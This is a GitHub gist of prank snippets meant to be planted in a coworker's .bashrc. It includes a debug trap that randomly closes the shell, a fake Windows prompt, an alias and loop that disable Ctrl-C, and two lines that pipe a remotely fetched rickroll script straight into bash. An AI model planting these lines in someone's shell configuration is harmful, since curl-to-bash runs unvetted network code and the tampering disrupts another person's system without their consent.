Skip to content

Instantly share code, notes, and snippets.

@yoramvandevelde
Last active August 18, 2017 13:02
Show Gist options
  • Save yoramvandevelde/80d9508e94224b9dac08f75abc5fd1ba to your computer and use it in GitHub Desktop.
Save yoramvandevelde/80d9508e94224b9dac08f75abc5fd1ba to your computer and use it in GitHub Desktop.
Making coworkers hate me through bashrc's
# https://www.quora.com/Bash-shell-What-are-the-best-bashrc-pranks/answer/Baptiste-Fontaine
trap '[ "$RANDOM" -le 2000 ] && exit' DEBUG
# confuse the damn kids
export PS1='C:${PWD////\\\\}> '
# sysadmin's april fouls rickroll
curl -s -L https://raw.githubusercontent.com/keroserene/rickrollrc/master/roll.sh | bash
# poor man's sl
alias sl="trap '' 2; curl -s -L https://raw.githubusercontent.com/keroserene/rickrollrc/master/roll.sh | bash; trap 2"
# happy birthday
trap '' 2
for i in $(seq 0 9); do
clear
sleep 0.1
echo ✄╔╗─╔╗╔═══╗╔═══╗╔═══╗╔╗──╔╗
echo ✄║║─║║║╔═╗║║╔═╗║║╔═╗║║╚╗╔╝║
echo ✄║╚═╝║║║─║║║╚═╝║║╚═╝║╚╗╚╝╔╝
echo ✄║╔═╗║║╚═╝║║╔══╝║╔══╝─╚╗╔╝
echo ✄║║─║║║╔═╗║║║───║║─────║║
echo ✄╚╝─╚╝╚╝─╚╝╚╝───╚╝─────╚╝
echo ╔══╗─╔══╗╔═══╗╔════╗╔╗─╔╗╔═══╗╔═══╗╔╗──╔╗
echo ║╔╗║─╚╣╠╝║╔═╗║║╔╗╔╗║║║─║║╚╗╔╗║║╔═╗║║╚╗╔╝║
echo ║╚╝╚╗─║║─║╚═╝║╚╝║║╚╝║╚═╝║─║║║║║║─║║╚╗╚╝╔╝
echo ║╔═╗║─║║─║╔╗╔╝──║║──║╔═╗║─║║║║║╚═╝║─╚╗╔╝
echo ║╚═╝║╔╣╠╗║║║╚╗──║║──║║─║║╔╝╚╝║║╔═╗║──║║
echo ╚═══╝╚══╝╚╝╚═╝──╚╝──╚╝─╚╝╚═══╝╚╝─╚╝──╚╝
sleep 0.1
done
trap 2
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment